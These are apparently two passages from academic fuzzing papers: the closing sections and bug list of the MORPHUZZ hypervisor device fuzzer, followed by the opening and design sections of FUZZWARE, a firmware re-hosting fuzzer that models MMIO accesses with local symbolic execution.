PHUZZ builds upon the lessons of prior-works to present the
first design that can fuzz arbitrary device across all major
modes of I/O.

8 Conclusion
MORPHUZZ is the first generic and coverage-guided fuzzer
capable of interacting with virtual devices that implement
complex DMA interactions. To this end, MORPHUZZ lever-
ages insights from hypervisor design (e.g., inferring IO ranges
from Guest-Address Maps) and adds support for on-demand
DMA buffer identification and provision thereof. MORPHUZZ
features an opcode interpreter that leverages the hypervisor’s
APIs to directly communicate with virtual devices, obviating
the need for a custom-built guest OS. The evaluation of our
QMORPHUZZ prototype shows that it is highly performant
reaching an average 81% branch coverage over 33 virtual
device implementations. QMORPHUZZ is particularly suc-
cessful when analyzing devices that rely on complex DMA
interactions. The system identified 66 new and unique crash-
ing bugs, which we reported upstream. MORPHUZZ is already
included in QEMU’s code-base where it continually fuzzes
virtual device implementations via OSS-Fuzz.
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A Guest memory access APIs in various open
source hypervisor implementations

Hypervisor DMA-access API Functions
QEMU address_space_{ld,st,map}

bhyve paddr_guest2host
VirtualBox pfnPhys{Read,Write}

Bochs DEV_MEM_{READ,WRITE}_PHYSICAL_DMA

Table 2: Guest memory access APIs in various open source hypervisor
implementations

B Throughput Discussion
First we ran MORPHUZZ in its default configuration, where
each test-case is executed within an isolated, forked child.
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Secondly, we ran MORPHUZZ built with AddressSanitizer,
which carries performance overheads, but uncovers additional
classes of bugs (e.g., non-crashing memory corruptions). Fi-
nally, we ran QMORPHUZZ without resetting any state, only
restarting the fuzzer after a crash brings down the process.

With ASAN enabled, this number drops to 1,610 qtest in-
structions per second. ASAN’s overheads are exacerbated
by the fact that, for a 64-bit executable, ASAN maps 20 ter-
abytes of virtual memory as part of its detection capability.
Since QMORPHUZZ relies on a fork server, the kernel must
make a copy of the large page-tables resulting from ASAN’s
virtual-memory use. Using perf [36], we found that close
to 40% of the execution time was spent in the kernel, dur-
ing the fork() system-call. Finally, without resetting any
state, QMORPHUZZ executes 5,850 instructions per second.
Though, this is a sizable (i.e., 40%) gain over the first configu-

ration, it comes at the cost of input stability and MORPHUZZ’s
reproducible-crash guarantee. Additionally, performance is
hurt by the fact that the entire process must be restarted, each
time a crash is triggered.

Note that QMORPHUZZ’s pattern instruction and on-
demand DMA fulfillment , can produce inputs that populate
megabytes of data just-in-time (e.g., filling entire ring-buffers
in DMA). Though we configured libFuzzer to limit inputs to
2,048 bytes, MORPHUZZ’s use of DMA patterns results in
much longer qtest sequences. Thus, there can be drastic differ-
ences in execution times for each qtest command. In summary,
MORPHUZZ trades performance for input-stability. In addi-
tion to enabling MORPHUZZ to reproduce crashes with no
post-processing, this stability allows MORPHUZZ to achieve
higher coverage and bug-finding performance for complex
devices, than prior works (RQ4).
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C List of Bugs Reported by MORPHUZZ

QEMU
Stack-overflow in ahci_cond_start_engines
Stack-overflow in _eth_get_rss_ex_dst_addr
Stack-overflow in rtlNUMBER_transmit_one
Stack-overflow in pcnet_poll_timer
Stack-overflow in e1000_receive_iov
Stack-overflow in flatview_do_translate through e1000
Stack-overflow in intel_hda_corb_run
Stack-overflow in xhci_pci_intr_raise
Buffer-underflow in xhci_runtime_write
Global-buffer-overflow in mode_sense_page
Heap-buffer-overflow in sdhci_write_dataport
Heap-buffer-overflow in sdhci_data_transfer
Heap-buffer-overflow in sd_erase
Heap-buffer-overflow in msix_table_mmio_write
Heap-buffer-overflow in pcnet_receive
Heap-use-after-free in e1000e_write_packet_to_guest
Heap use-after-free in e1000e_write_to_rx_buffers
Heap-use-after-free in ehci_flush_qh
Heap-use-after-free in usb_packet_copy
Heap-use-after-free in usb_packet_unmap
Heap-use-after-free in virtio_gpu_ctrl_response
Heap-use-after-free through double-fetch in ehci
Memcpy-param-overlap in flatview_write_continue
Memcpy param-overlap in ip_stripoptions
Memcpy param-overlap through e1000e_write_to_rx_buffers
Memory Exhaustion in vmxnet3_activate_device
Memory Exhaustion in hpet_timer
Segfault in virtio_write_config
Segfault in address_space_to_flatview through ide
Segfault in blk_bs
Segfault in megasas_command_complete
Segfault in megasas_handle_frame
Segfault in tcg_handle_interrupt
Segfault in usb_bus_from_device
Infinite Loop in sdhci_data_transfer
Floating-point exception in ide_set_sector
Assertion-failure in audio_bug
Assertion-failure in mch_update_pciexbar
Assertion-failure in vmxnet3_validate_interrupt_idx
Assertion-failure in vmxnet3_validate_queues
Assertion-failure in address_space_stw_le_cached through virtio-net
Assertion-failure in address_space_stw_le_cached through virtio-blk
Assertion-failure in address_space_cache_invalidate through virtio-gpu
Assertion-failure in address_space_unmap through ahci_map_clb_address
Assertion-failure in address_space_unmap through virtio-blk
Assertion-failure in virtio_blk_reset
Assertion-failure in bdrv_aio_cancel
Assertion-failure in bmdma_active_if
Assertion-failure in e1000e_write_lgcy_rx_descr
Assertion-failure in e1000e_write_rx_descr
Assertion-failure in e1000e_write_to_rx_buffers
Assertion-failure in e1000e_intrmgr_on_throttling_timer
Assertion-failure in e1000e_intmgr_collect_delayed_causes
Assertion-failure in eth_get_gso_type through e1000e
Assertion-failure in iov_from_buf_full through e1000e
Assertion-failure in net_tx_pkt_add_raw_fragment through vmxnet3
Assertion-failure in net_tx_pkt_reset through vmxnet3
Assertion-failure in pci_bus_get_irq_level
Assertion-failure in scsi_dma_complete, with megasas
Assertion-failure in usb_detach
Assertion-failure in ati_reg_read_offs and ati_reg_write_offs

bhyve
Segfault in vq_getchain
Assertion in modify_bar_registration
Assertion in unregister_mem
Assertion in pci_vtnet_proctx
Assertion in pci_vtnet_cfgwrite

QEMU (ARM)
Heap-use-after-free in gic_dist_writeb
Segfault in smc91c111_writeb
Assertion-failure in gic_clear_pending_sgi
Assertion-failure in bcm2835_thermal_read
Assertion-failure in dwc2_hsotg_write

Table 3: New bugs found by MORPHUZZ
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Abstract
As embedded devices are becoming more pervasive in our
everyday lives, they turn into an attractive target for adver-
saries. Despite their high value and large attack surface, ap-
plying automated testing techniques such as fuzzing is not
straightforward for such devices. As fuzz testing firmware on
constrained embedded devices is inefficient, state-of-the-art
approaches instead opt to run the firmware in an emulator
(through a process called re-hosting). However, existing ap-
proaches either use coarse-grained static models of hardware
behavior or require manual effort to re-host the firmware.

We propose a novel combination of lightweight program
analysis, re-hosting, and fuzz testing to tackle these challenges.
We present the design and implementation of FUZZWARE,
a software-only system to fuzz test unmodified monolithic
firmware in a scalable way. By determining how hardware-
generated values are actually used by the firmware logic,
FUZZWARE can automatically generate models that help fo-
cusing the fuzzing process on mutating the inputs that matter,
which drastically improves its effectiveness.

We evaluate our approach on synthetic and real-world tar-
gets comprising a total of 19 hardware platforms and 77
firmware images. Compared to state-of-the-art work, FUZZ-
WARE achieves up to 3.25 times the code coverage and our
modeling approach reduces the size of the input space by
up to 95.5%. The synthetic samples contain 66 unit tests for
various hardware interactions, and we find that our approach
is the first generic re-hosting solution to automatically pass
all of them. FUZZWARE discovered 15 completely new bugs
including bugs in targets which were previously analyzed by
other works; a total of 12 CVEs were assigned.

1 Introduction

Embedded systems have pervaded our everyday lives, facilitat-
ing the transition of our society towards a connected, “smart”
world. Security plays an enabling role, and a first step for
secure connected devices is to proactively identify their secu-
rity vulnerabilities in an efficient and scalable way. One way

to achieve this goal is automated fuzz testing (fuzzing). Un-
fortunately, fuzzing of embedded devices is challenging [39].
Fuzzing on-device is impractical for firmware due to low
fuzzing speeds caused by limited hardware resources [21].
Fuzzing the device in an entirely black-box manner [9] re-
sults in missing feedback and limited crash detection, which
dramatically limits the fuzzer’s effectiveness [21,25,42]. Sim-
ilarly, fuzzing with the device “in-the-loop” [38,39] also leads
to resource constraints due to the need to synchronize hard-
ware and emulated environments.

One way to address the aforementioned inherent issues is
re-hosting, where firmware is executed in an emulated envi-
ronment [17, 51]. Various approaches exist to dynamically
analyze Unix-based firmware via re-hosting [8, 46, 56], but
these approaches do not apply to monolithic firmware, which
consists of a single, opaque binary blob. Modern emulation en-
vironments [5, 50] allow re-hosting even monolithic firmware
by precisely emulating a limited set of hardware. However,
such tools require an analyst to find or manually create soft-
ware equivalents (models) of all hardware peripherals for the
firmware to run, which is a complex and time-consuming task.

Hence, recent work shifted towards automated hardware-
less rehosting, and different strategies to deal with hardware
peripherals have emerged. High-level emulation approaches
attempt to tackle the problem of missing peripheral mod-
els by re-implementing and hooking into known libraries to
avoid hardware accesses altogether [11, 33, 35]. In contrast,
pattern-based modeling approaches model a hardware pe-
ripheral’s registers by matching access patterns to common
static hardware register types [18, 22, 23]. A third direction is
given by tools deploying guided symbolic execution, which
treats hardware registers as sources for symbolic inputs. The
resulting symbolic values are then solved towards the most
promising paths guaranteeing the firmware’s operation [7,57].
All of these strategies allow rehosting of firmware, however,
we show that they hit several limitations when the rehosted
firmware is tested via fuzzing.

To fill this gap, we propose a fine-grained automated mod-
eling approach, which is optimized for use with a coverage-
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guided fuzzer. Our approach is driven by the insight that many
accesses to hardware peripherals are short-lived and occur
for reasons unrelated to the firmware’s overall behavior, such
as to check a peripheral’s status or set its configuration. For
the accesses that do influence its behavior, the firmware often
leaves large parts of its input unused, e. g., directly by extract-
ing only a couple of bits from a 32-bit value, or indirectly by
differentiating between only a handful of status values. By
regularly querying more data than it uses, the firmware incurs
significant input overhead while accessing hardware.

To eliminate this overhead, once per unique peripheral ac-
cess, we utilize locally-scoped dynamic symbolic execution
(DSE) and analyze which parts of the hardware-generated
value are actually meaningful to firmware logic. However,
unlike prior approaches, we do not use the DSE engine to
solve towards specific values for exploring specific parts of
the firmware’s functionality. Instead, we use the generated
constraints to infer generic access models geared towards in-
put overhead elimination. These access models are then used
to configure an emulator, and their concrete values are later
served by the fuzzer. An important aspect of this modeling
approach is that at no point during emulation do our models
take actual decisions, or prioritize one decision over another.
The single goal of this modeling is to present the original set
of choices to the fuzzer with as little overhead as possible.
Consequently, the fuzzer can still explore all paths that the
firmware could take based on hardware-generated values.

We implement our approach in a tool named FUZZWARE
and evaluate it against 77 firmware images spanning a total
of 19 hardware platforms. Our evaluation shows that while
consuming 0.5%-2% of the total experiment computation
time, our access models eliminate up to 95.5% of inputs as
input overhead, allowing the fuzzer to focus on mutating only
the relevant 4.5% of hardware-generated values. Compared
to state-of-the-art tools [18, 57], FUZZWARE achieves up to
3.25 times the coverage (over a period of 24 hours), discovers
additional bugs in samples already analyzed by those tools,
and is the first approach to achieve a perfect passing score on
the rehosting unit test benchmark introduced by P2IM [18].
Finally, we show how FUZZWARE can be used to identify
vulnerabilities in complex, real-world targets. To this end, we
analyze the network stacks of two widely-used embedded
firmware frameworks, ZEPHYR [55] and CONTIKI-NG [12].
We discovered 15 previously unknown vulnerabilities, leading
to the assignment of 12 CVEs.

In summary, we make the following contributions:
• We propose a novel, fine-grained access modeling ap-

proach which preserves all paths through firmware logic
and allows a fuzzer to efficiently mutate only meaningful
hardware-generated values.

• We describe and implement FUZZWARE, a highly effi-
cient, self-adapting fuzzing system capable of testing
monolithic firmware images in an OS-agnostic way.

• In several experiments, we show that FUZZWARE out-
performs prior work on testing embedded firmware. Our
prototype found 12 previously unknown vulnerabilities
in core embedded network stacks which we responsibly
disclosed to the affected vendors.

To foster research on this topic, we will release FUZZWARE,
the experimental data sets, and the bug details at https://
github.com/fuzzware-fuzzer/fuzzware.

2 Technical Background

Before explaining the technical details of our approach,
we first discuss different aspects of embedded systems and
firmware that make them interesting and difficult to analyze.

2.1 Monolithic Embedded Systems

Embedded systems are often purpose-built, resource-
constrained devices. The code these systems run is known as
firmware. The firmware of an embedded system is responsible
for all the device’s functions and may or may not contain a
traditional OS. Monolithic firmware images, which are the
focus of this work, contain none of the traditional metadata
found in binary executables. This makes them difficult to
analyze by traditional means.

2.2 Memory-mapped IO

Modern CPU architectures allow for accesses to its periph-
erals via memory-mapped I/O (MMIO). These peripherals
are assigned a region of the device’s physical memory space.
Each of the region’s memory locations, termed MMIO regis-
ters in chip documentation, is accessed via regular load/store
instructions. Rather than behaving like normal memory, these
instructions instead trigger hardware behaviors in the affected
peripheral. For example, consider a button connected to a
GPIO pin of an embedded microcontroller (MCU). The MCU
can check whether the button is pressed by reading from the
MMIO register that represents its GPIO pin. MMIO registers
of different types perform certain roles, such as identification,
status (e. g., whether a button is pressed), configuration, and
data transfer. As such, MMIO registers can quickly change
values at any time. Registers vary in terms of their size (bit-
width) as well as allowing read and/or write operations.

Consider firmware code running on an MCU with a serial
port. Figure 1 shows how the I/O of such an MCU may be
organized. After configuring the serial baud rate, the firmware
waits for a command to initiate a data transfer. The user con-
nects via their own computer to a serial communication port
in the MCU. The firmware notices incoming data by check-
ing the serial peripheral’s status registers and reads the serial
data via the peripheral’s data register. Note that there exists no
standardized source of input, such as stdin. Input into embed-
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Figure 1: Memory layout of a hypothetical embedded system, showing the
correspondence between the memory map, peripherals, and MMIO registers.

ded systems may come from numerous hardware peripherals,
potentially even multiple sources in the same device.

2.3 Interrupts and DMA
In addition to the software-initiated communication channels,
the hardware has two additional means to communicate with
its firmware: First, hardware uses interrupts to notify the soft-
ware of asynchronous events [32]. For example, a serial port
could be configured to trigger an interrupt when data arrives,
allowing it to be processed immediately. The CPU tracks
these interrupts by their interrupt number and maintains a ta-
ble of firmware functions, so-called interrupt service routines
(ISRs), which process new events. Depending on the CPU
model, interrupts can also be selectively disabled, or given
a priority level, allowing some interrupts to take precedence.
The association of the peripheral with its interrupt number de-
pends on the specific CPU model in use and may vary widely,
even within products from the same vendor. The second asyn-
chronous communication channel is called direct memory
access (DMA), which is configured via MMIO. Using DMA,
a peripheral is able to update firmware-accessible regular
memory by talking directly to the memory controller and
without involving the CPU. While interrupts are universally
used as a source of input into firmware, DMA is primarily
used in high-throughput scenarios such as USB.

2.4 Re-Hosting Embedded Systems
Firmware re-hosting is a way to run a firmware binary im-
age without relying on actual hardware. Emulating firmware
in a fully virtualized environment allows multiple emulator
instances to be run in parallel and thus enables effective dy-
namic analysis techniques such as fuzzing. Generally speak-
ing, to re-host firmware, one needs to emulate three main in-
teractions between firmware and hardware: interrupts, DMA,
and MMIO. From these three, MMIO, which we focus on in
this work, represents a significant share and is used univer-
sally. We need to properly handle MMIO accesses to even
reach the parts of firmware that perform DMA. To handle
MMIO behavior in firmware, various approaches take differ-
ent directions. For example, QEMU fully re-implements the

behavior of each MMIO register. While this approach can
precisely emulate MMIO, it requires a significant amount of
engineering effort for each emulated peripheral, as well as
access to full hardware documentation.

An alternative approach to modeling MMIO peripheral be-
havior is approximation. The basic idea is to involve a fuzzer
to handle MMIO accesses just as they would occur in practice.
In its most naïve form, a fuzzer-provided value can directly
be served as a hardware-generated value, whenever firmware
code accesses an MMIO register. This general approach is
appealing, as it allows running the firmware without a priori
knowledge about MMIO usage and handling MMIO accesses
even if no precise implementation of a peripheral is available.
However, as we will discuss next, this is very challenging: a
fuzzer has to provide inputs for an overwhelming amount of
MMIO accesses, many of which are irrelevant to firmware
behavior, and hence such an approach does not scale to real-
world systems.

3 MMIO Access Handling

As discussed in the previous section, firmware universally re-
lies on MMIO accesses. Therefore, handling MMIO accesses
during emulation is crucial to enabling efficient firmware
fuzzing. In the following, we investigate why a naïve fuzzing-
based approach to MMIO access handling exposes the fuzzer
to large amounts of input overhead. Next, we discuss previous
approaches to removing this overhead via MMIO modeling
and their shortcomings in enabling effective, scalable fuzzing.

3.1 Input Overhead

Assume a naïve approach where bits from a random byte
stream generated by a fuzzer are served as hardware-
generated values (i. e., values which, from the firmware’s
perspective, are provided by a hardware MMIO register). We
refer to these bits as the fuzzer-mutated input space which is
then processed by the firmware logic. This input space con-
tains both relevant bits, i. e., bits affecting the firmware logic,
and input overhead. For each MMIO access, we differentiate
between two types of input overhead:

• Full input overhead: No bit provided by the fuzzer is
relevant. In other words, the emulator could have han-
dled the MMIO access statically, e. g., by providing an
arbitrary value.

• Partial input overhead: One or more bits are relevant,
i. e., they influence the firmware logic (e.g., by influenc-
ing control-flow decisions), while other bits do not. For
example, consider firmware code that accesses a 32 bit
wide MMIO register, but actually uses only 8 bits of the
resulting hardware-generated value. If the full 32 bits of
fuzzing input are consumed to serve the access, 24 bits
of partial input overhead are introduced.
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u8 serial_getc() {
// Busy-check for data presence
while (mmio->status != HAS_DATA){};
// Indicate read via GPIO
gpio->val = gpio->val | UART_ACTIVE;
// Read full data register
u32 data = mmio->data;
// Mask data part and return
return data & 0xff;

}

!HAS_DATA ... HAS_DATA UART_* D   

1

2

3

1 2 3

Figure 2: An example of a function for retrieving input from a serial port
peripheral. The annotations indicate resulting MMIO accesses relating to
overhead (gray) and actual application data (black).

While fundamentally simple, these overhead types govern
the fuzzer’s efficiency: Exposing the fuzzer to input overhead
leads the fuzzer to mutate bits that do not affect firmware logic,
hence wasting resources. To better understand this in practice,
we explore two code examples which are inspired by real-
world firmware and represent typical firmware operations.
Example 1. Figure 2 shows a typical firmware function that
retrieves a character from a serial port. This function waits for
the serial port to have data available ( 1 in Figure 2), triggers
a GPIO write (e. g., to turn on a busy indicator LED) in 2 ,
and finally returns one byte of data. The waiting for serial
data involves polling for a specific value ( 1 ), defined by the
hardware, which indicates that one byte has arrived. Without
modeling, the fuzzer is rather unlikely to feed the correct value
to the MMIO access, thus bottle-necking on the loop until the
correct input is found by chance. As only one specific value
is accepted, this is a prime example of full input overhead
hindering the fuzzing process. While writing to GPIO might
be seen as an MMIO write operation, GPIO bits are typically
packed into registers with 32 bits representing 32 GPIO pins.
Therefore, to perform a GPIO operation without affecting the
nearby bits, we must read 4 bytes ( 2 ), flip the desired bit, and
write the result back. The data initially read has no impact
on the program (full input overhead). Eventually, we read the
actual data from the serial port ( 3 ). While this serial port is
byte-oriented, the MMIO register itself is typically 4 bytes
wide, i. e., we read 3 bytes more than needed. To prevent any
side-effects of this operation, the firmware masks off only the
data byte and returns it. This is a case of partial input overhead.
As a result, only a single one of the 12 (or more) bytes read
in this function is passed on to firmware logic (marked as a
black square in Figure 2). For this function, a naïve modeling
approach that passes fuzzer input to each MMIO access has
a minimum input overhead of 92%. The actual overhead is
likely even larger if the fuzzer needs multiple attempts to
guess the value of HAS_DATA.
Example 2. Figure 3 shows another set of typical firmware
code constructs that introduce a less obvious source of par-
tial input overhead. The function decides which operation to

 1 void perform_op() {
 2  // Check requested operation
 3  switch (mmio->op) {
 4    case A: handle_A(); break;
 5    case B: handle_B(); break;
 6    case C:
 7      if(mmio->status == SPECIAL) {
 8        handle_C_special(); break;
 9      } else {
10        handle_C_default(); break;
11      }
12    default: housekeeping();
13  }
14 }

Figure 3: An example of a function that takes actions based on MMIO input
using switch/case and if/else constructs.

execute based on a hardware-generated value (Line 3) and, in
one case (Line 7), also checks the peripheral’s status register.
Without further insight, the fuzzer would have to provide 4
bytes (32 bits) for each MMIO access and correctly guess
meaningful values. The fuzzer’s large input space is con-
trasted by the limited number of meaningful values it can find:
The firmware differentiates between only 2 status conditions
(special or non-special) as well as 4 different operations (A,
B, C, or default). These choices can be expressed by only 1
and 2 meaningful bits respectively, resulting in 94% and 97%
partial input overhead.

3.2 Previous MMIO Modeling Approaches
In essence, recently proposed hardware-less rehosting ap-
proaches deploy one of the following strategies to deal with
unknown peripherals:

• High-level emulation gets past the need of modeling
specific hardware peripherals by completely avoiding
MMIO accesses. Previous work abstracts firmware code
that performs low-level MMIO accesses by hooking
into, and manually handling, higher-level library func-
tions [11, 35].

• Pattern-based MMIO modeling tackles MMIO accesses
directly. They allow emulated firmware to perform
MMIO accesses and attempt to reduce the input space by
using access pattern-based heuristics [18, 22, 23]. This
means that one observes accesses to an MMIO register,
matches these observations to common, pre-defined pat-
terns, and assigns a model to that specific MMIO register.
This model then determines how to serve future accesses
to this register.

• Guided Symbolic Execution-based modeling ap-
proaches [7, 57] improve upon pattern-based MMIO
modeling. Instead of assigning static patterns based on
heuristics, accesses to hardware are treated as symbolic
values. Whenever a concrete value for one MMIO
access is needed, the underlying symbolic variable is
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solved towards the most promising path, i. e., more
coverage of the firmware logic.

We identify three problems with the current approaches to
MMIO modeling: (1) per-firmware manual effort, (2) incom-
plete overhead elimination, and (3) path elimination.
Per-firmware manual effort. All prior solutions require
manual work when preparing specific firmware for fuzzing
campaigns. For instance, this includes the creation of HAL
abstractions, correcting misclassified MMIO registers, or iden-
tifying alive and kill points to steer the symbolic execution
engine. Although recent approaches [7, 57] deploy heuristics
to reduce the manual involvement, we note that in practical
usage, firmware-specific knowledge is still required, limiting
the flexibility for fuzz testing.
Incomplete overhead elimination. While effective in remov-
ing full input overhead, pattern-based approaches generally
make assumptions about hardware behavior based on con-
ventions of how firmware is “typically” implemented rather
than considering actual firmware logic. However, they are
unable to identify which parts of an input are actually used by
firmware, i. e., they cannot eliminate partial input overheads.

Consider Example 1 from the perspective of pattern-based
register modeling. As pattern-based MMIO modeling ap-
proaches lack insight into firmware-internal logic, they are
unaware of the fact that 3 out of the 4 bytes read from the
serial data register ( 3 in Figure 2) are discarded. As a result,
these approaches cannot eliminate the 75% of partial input
overhead introduced by the access.

While incomplete overhead elimination does not affect re-
hosting itself, it becomes problematic during fuzz testing: a
fuzzer will spend a significant amount of time mutating values
that have no impact on program logic.
Path elimination. While guided symbolic execution-based
approaches reduce large parts of input overhead, they will-
ingly accept to leave specific parts of the firmware unexplored
during fuzz testing, i. e., eliminating available execution paths
from the firmware. High-level emulation replaces full parts of
the firmware with abstractions, and pattern-based MMIO may
miscategorize certain registers or wrongly conclude that no
relevant options exist for a given MMIO access. Guided sym-
bolic execution-based approaches use heuristics and human
insights to decide which paths are worthwhile to explore.

Although path elimination allows for rehosting of the
firmware, it has severe consequences for fuzz testing. First,
eliminating specific paths may render large parts of the
firmware’s functionality unreachable and in turn impossible
to analyze. Even assuming correct modeling, path elimination
will affect error handling and recovery functions, which may
contain bugs, and should not be dismissed. Furthermore, we
argue that differentiating between regular firmware behavior
and error handling functionality is an undecidable problem
in the general case: Error conditions may be met in firmware
logic with complex diagnostics and recovery attempts. At the

same time, regular firmware behavior that inconspicuously
waits for asynchronous events may appear as an infinite loop
which does not perform any meaningful operations. This di-
rectly reflects on state-of-the-art solutions, which run into
execution stalls without human assistance [18, 57].

Following these insights, we conclude that an effective
rehosting solution for fuzz testing must avoid path elimination,
while at the same time reducing the per-firmware manual
effort and eliminate as much input overhead as possible, which
is directly reflected in our design.

4 Design

In the following, we introduce the design of FUZZWARE, a
generic firmware fuzzing approach that allows a fuzzer to
efficiently explore firmware behavior by precisely eliminating
both partial and full input overhead.

To this end, we base our modeling on lightweight pro-
gram analysis techniques that allow us to spot partial uses
of hardware-generated values. To analyze the behavior of
firmware code, we employ dynamic symbolic execution
(DSE) [43]. DSE allows us to generate a set of constraints
representing all possible uses of a hardware-generated value.
Evaluating these constraints allows us to narrow down the
set of values to be explored by the fuzzer. Typically, using
symbolic execution for modeling introduces high computa-
tion costs due to the state explosion problem. We avoid this
drawback by using local DSE, where DSE is used only to ex-
ecute the code in the context of a specific MMIO access. We
describe the details of limiting the DSE’s scope in Section 4.3.

4.1 Prerequisites and Threat Model

FUZZWARE has the following prerequisites and threat model:

Prerequisites. FUZZWARE shares two basic prerequisites
with all other re-hosting systems: First, we assume that we
are able to obtain a binary firmware image for the target de-
vice. Second, just like other re-hosting systems, we assume
basic memory mappings such as RAM ranges and the broad
MMIO space to be provided. Depending on the target CPU
architecture, these generic ranges may be standardized [1].

Threat Model. Given no additional knowledge about the
specific hardware environment of a given binary firmware
image, we assume during fuzzing that an attacker is able
to control the inputs provided to the firmware. Commonly,
these inputs may correspond to the contents of an incoming
network packet read via MMIO, data received via a serial
interface, or sensory data such as temperature measurements.
We analyze situations where an attacker has less control over
hardware-generated values in Section 6.4.
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Figure 4: FUZZWARE’s MMIO access handling design. The fuzzing engine
generates a raw input file. Upon MMIO accesses, chunks of the input file are
consumed by MMIO access models and translated into (potentially larger)
hardware-generated values, which are then served to the emulated firmware.
Once the raw input is exhausted, coverage feedback is provided to the fuzzing
engine to guide the fuzzing process.

4.2 FUZZWARE’s Emulator

We now describe the design of FUZZWARE’s emulation com-
ponent. Figure 4 shows that, from a high-level point of view,
FUZZWARE uses an ISA emulator and a coverage-guided
fuzzing engine (fuzzer). As FUZZWARE aims to eliminate
partial input overhead, we introduce access models, a mech-
anism to translate small amounts of fuzzing input bits into
values that are meaningful to firmware logic, while eliminat-
ing input overhead in the process.

We start by loading a given monolithic firmware image into
the ISA emulator. We set up a harness that dynamically inter-
cepts all MMIO accesses, i. e., memory operations performed
by the emulated firmware code on all addresses within MMIO
regions. The harness is provided a raw input (i. e., a plain bi-
nary file) generated by the coverage-guided fuzzer; then, it
starts firmware code emulation. The raw input is consumed
in chunks to serve MMIO accesses. Whenever firmware code
performs an MMIO access, the harness checks whether we al-
ready assigned an MMIO access model to this specific access.
If a model is available, and depending on the type of input
overhead, the harness may be able to handle the access with-
out consuming any raw input (in case of full input overhead).
Otherwise, the harness consumes a chunk of raw input and
translates it into a hardware-generated value via the model
(partial input overhead). The hardware-generated value is
then used to serve the MMIO access. The emulator runs the
firmware code until the fuzzer’s raw input is exhausted and it
can no longer serve MMIO accesses. We term this emulation
cycle an emulation run. As an emulation run is concluded, the
harness restores firmware to its clean state, and reports cov-
erage feedback for the previous emulation run to the fuzzer.
Based on this feedback, the fuzzer generates another raw input
and provides it to the harness for the next emulation run.

However, if during emulation a specific MMIO access has
no model assigned yet, raw input chunks are used as hardware-
generated values without translation. In parallel to ongoing
fuzzing, FUZZWARE initiates modeling of each newly seen

MMIO access context (the pair of current program counter and
MMIO address). In a separate emulator instance, we create a
snapshot of the firmware’s state (i. e., register and memory)
right before the MMIO access. We use symbolic execution
from this snapshot to derive a matching model (described in
detail in Section 4.3). We then re-configure the emulator with
new models, allowing the fuzzer to more effectively discover
further firmware logic with less input overhead.

We bootstrap this fuzzing loop by providing no initial
MMIO access models. Models are continuously generated
and added to the emulator configuration while the fuzzer is
active. This design provides a generic, self-adapting firmware
emulation environment, which allows a fuzzing engine to
explore unknown firmware with minimized input overhead.

4.3 Modeling Approach
As previously explained, for each MMIO access context (i.e.,
program counter and accessed MMIO address), we construct
an access model. To do so, we replay the input for which the
new MMIO access is performed, and snapshot the emulator’s
register and memory state just before firmware would perform
the MMIO access. We pass this snapshot on to our DSE en-
gine for modeling, and symbolically execute the code, starting
from the snapshot. Each MMIO access observed during the
symbolic execution is treated as a separate symbolic variable.

Modeling Analysis Scope. We track the first MMIO access
(as well as any additional accesses from the same access con-
text), to follow whether the resulting symbolic variable is still
alive, i. e., at least one symbolic expression in memory or a
register still depends on it. The symbolic execution continues
until one of the following events occurs:

1. All tracked symbolic variable are dead (i. e., not alive),
2. the current function returns,
3. a tracked symbolic variable is leaving the scope of the

analysis (i. e., it is written to global memory or to a stack
frame of a function higher in the call stack), or

4. a pre-defined limit of computation resources is exhausted
(timeout, number of symbolic states, or number of DSE
steps was reached).

Using these exit conditions, we narrow down DSE to a small,
manageable scope, in which we are able to observe all actions
that firmware takes based on an MMIO access. At the same
time, we do not model uses of a hardware-generated value
beyond this scope. The rationale behind this scoping decision
lies in the short-lived nature of MMIO register states (see
Section 2.2), which forces firmware to frequently access and
quickly discard hardware-generated values. As we will show
in Section 6.1, our evaluation supports this notion.

Upon hitting one of the exit conditions, the modeling logic
analyzes the resulting symbolic states. Each symbolic state
corresponds to a possible path that firmware code could take
depending on hardware-generated values. A symbolic state
has a set of different path constraints, i. e., conditions that
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Table 1: MMIO Access Models. HW denotes the Hamming Weight.

Model Type Overhead Parameters # Fuzzing Bits Output
Constant full constant - constant value
Passthrough full - - stored value
Bitextract partial bitmask HW(bitmask) filled bitmask
Set partial constants log2|constants| selected value
Identity none - full access size fuzzing bits

hardware-generated values need to adhere to, as well as possi-
ble symbolic expressions containing tracked variables which
are still alive. These symbolic states are then used as input to
assign and configure a model for the analyzed MMIO access.

Model Design Considerations. Based on the previous dis-
cussions, two aspects are central to our model design: First,
models provide reproducible translations. Performing an emu-
lation run for a given raw input multiple times has to result in
identical firmware executions. We require identical behavior
as we generate MMIO access snapshots for modeling in sep-
arate emulator instances, in parallel to ongoing fuzzing. To
keep translations reproducible, we derive hardware-generated
values exclusively from chunks of fuzzing input. Second, we
design our models to preserve firmware code paths. While
we aim to eliminate as much input overhead as possible, we
conservatively apply models that do not make firmware code
paths unavailable in the process. Thus, we only model ac-
cesses based on variable uses that we can fully observe. In
case a live variable leaves our analysis scope, we base our
modeling on the constraints that firmware logic has already
placed on the modeled variable (e. g., a bit mask has been
applied before data gets returned, see 3 in Figure 2).

Error Handling and Execution Stalls. Naturally, by pre-
serving all firmware code paths, we also allow the fuzzer to
exercise error paths. This is intentional: Contrary to previous
modeling approaches, we explicitly do not try to prioritize
specific paths or remove entire paths that appear uninteresting
(cf. Section 3.2). Instead, we find that code which handles
irregular conditions may contain bugs, and should likewise be
included in the analysis. This inevitably leads to inputs that
result in stalled firmware execution. However, we note that
these cases are seamlessly dealt with by the fuzzer: When-
ever execution is stalled, the fuzzer will recognize missing
code coverage. Consequently, the corresponding inputs will
be discarded as uninteresting, and the mutation engine will
quickly yield inputs with more significant code coverage. We
want to stress that this conscious decision to explore error
handling does not only allow for discovery of bugs which
may be missed otherwise, but also enables truly robust and
automated fuzzing of firmware, as neither a human analyst
nor heuristics are needed to identify interesting paths.

4.4 FUZZWARE Model Definitions
We define a total of five generic MMIO access models that
can be assigned from a DSE-produced set of symbolic states.

Each of these models provides a blueprint to the emulator
for how to handle a specific MMIO access and systemati-
cally remove input overhead, full or partial, either for typical
control-flow based MMIO uses (i. e., taking different actions
based on a value) or data-based MMIO uses (i. e., reading data
and dismissing all or parts of it). Some of these generic mod-
els accept parameters by specification. We use the symbolic
states to first assign a generic model and then instantiate it via
parameters for the given MMIO access. The generic models
contain a specification for the emulator on how to apply the
model parameters to determine a hardware-generated value.
For models handling full input overhead, model parameters
alone are sufficient to handle the access, without consuming
any fuzzing input. For models handling partial input over-
head, the emulator requires fuzzing input to apply the model.
